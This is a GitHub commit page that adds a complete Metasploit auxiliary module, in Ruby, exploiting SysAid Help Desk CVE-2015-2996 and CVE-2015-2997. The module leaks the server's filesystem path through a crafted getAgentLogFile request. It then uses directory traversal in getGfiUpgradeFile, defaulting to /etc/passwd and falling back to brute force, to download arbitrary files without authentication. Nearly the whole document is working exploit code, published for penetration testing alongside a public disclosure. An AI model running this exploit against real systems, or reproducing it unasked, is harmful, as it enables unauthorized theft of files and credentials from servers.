Skip to content

Commit 869ac87

Browse files
committed
Land rapid7#5472, @pedrib's module for SysAid CVE-2015-2996 and CVE-2015-2997
* SysAid arbitrary file download
2 parents 46ffb97 + 9ac1688 commit 869ac87

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'SysAid Help Desk Arbitrary File Download',
16+
'Description' => %q{
17+
This module exploits two vulnerabilities in SysAid Help Desk that allows
18+
an unauthenticated user to download arbitrary files from the system. First an
19+
information disclosure vulnerability (CVE-2015-2997) is used to obtain the file
20+
system path, and then we abuse a directory traversal (CVE-2015-2996) to download
21+
the file. Note that there are some limitations on Windows: 1) the information
22+
disclosure vulnerability doesn't work; 2) we can only traverse the current drive,
23+
so if you enter C:\afile.txt and the server is running on D:\ the file will not
24+
be downloaded. This module has been tested with SysAid 14.4 on Windows and Linux.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2015-2996'],
34+
['CVE', '2015-2997'],
35+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'],
36+
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
37+
],
38+
'DisclosureDate' => 'Jun 3 2015'))
39+
40+
register_options(
41+
[
42+
OptPort.new('RPORT', [true, 'The target port', 8080]),
43+
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
44+
OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']),
45+
], self.class)
46+
end
47+
48+
def get_traversal_path
49+
print_status("#{peer} - Trying to find out the traversal path...")
50+
large_traversal = '../' * rand(15...30)
51+
servlet_path = 'getAgentLogFile'
52+
53+
# We abuse getAgentLogFile to obtain the
54+
res = send_request_cgi({
55+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
56+
'method' => 'POST',
57+
'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),
58+
'ctype' => 'application/octet-stream',
59+
'vars_get' => {
60+
'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),
61+
'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
62+
}
63+
})
64+
65+
if res && res.code == 200 && res.body.to_s =~ /\<H2\>(.*)\<\/H2\>/
66+
error_path = $1
67+
# Error_path is something like:
68+
# /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
69+
# This calculates how much traversal we need to do to get to the root.
70+
position = error_path.index(large_traversal)
71+
unless position.nil?
72+
return '../' * (error_path[0, position].count('/') - 2)
73+
end
74+
end
75+
end
76+
77+
def download_file (download_path)
78+
begin
79+
return send_request_cgi({
80+
'method' => 'GET',
81+
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
82+
'vars_get' => {
83+
'fileName' => download_path
84+
},
85+
})
86+
rescue Rex::ConnectionRefused
87+
print_error("#{peer} - Could not connect.")
88+
return
89+
end
90+
end
91+
92+
def run
93+
# No point to continue if filepath is not specified
94+
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
95+
fail_with(Failure::BadConfig, 'Please supply the path of the file you want to download.')
96+
end
97+
98+
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
99+
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
100+
file_path = $3
101+
else
102+
file_path = datastore['FILEPATH']
103+
end
104+
105+
traversal_path = get_traversal_path
106+
if traversal_path.nil?
107+
print_error("#{peer} - Could not get traversal path, using bruteforce to download the file")
108+
count = 1
109+
while count < 15
110+
res = download_file(('../' * count) + file_path)
111+
if res && res.code == 200 && res.body.to_s.bytesize != 0
112+
break
113+
end
114+
count += 1
115+
end
116+
else
117+
res = download_file(traversal_path[0,traversal_path.length - 1] + file_path)
118+
end
119+
120+
if res && res.code == 200
121+
if res.body.to_s.bytesize == 0
122+
fail_with(Failure::NoAccess, "#{peer} - 0 bytes returned, file does not exist or it is empty.")
123+
else
124+
vprint_line(res.body.to_s)
125+
fname = File.basename(datastore['FILEPATH'])
126+
127+
path = store_loot(
128+
'sysaid.http',
129+
'application/octet-stream',
130+
datastore['RHOST'],
131+
res.body,
132+
fname
133+
)
134+
print_good("File saved in: #{path}")
135+
end
136+
else
137+
fail_with(Failure::Unknown, "#{peer} - Failed to download file.")
138+
end
139+
end
140+
end

0 commit comments

Comments
 (0)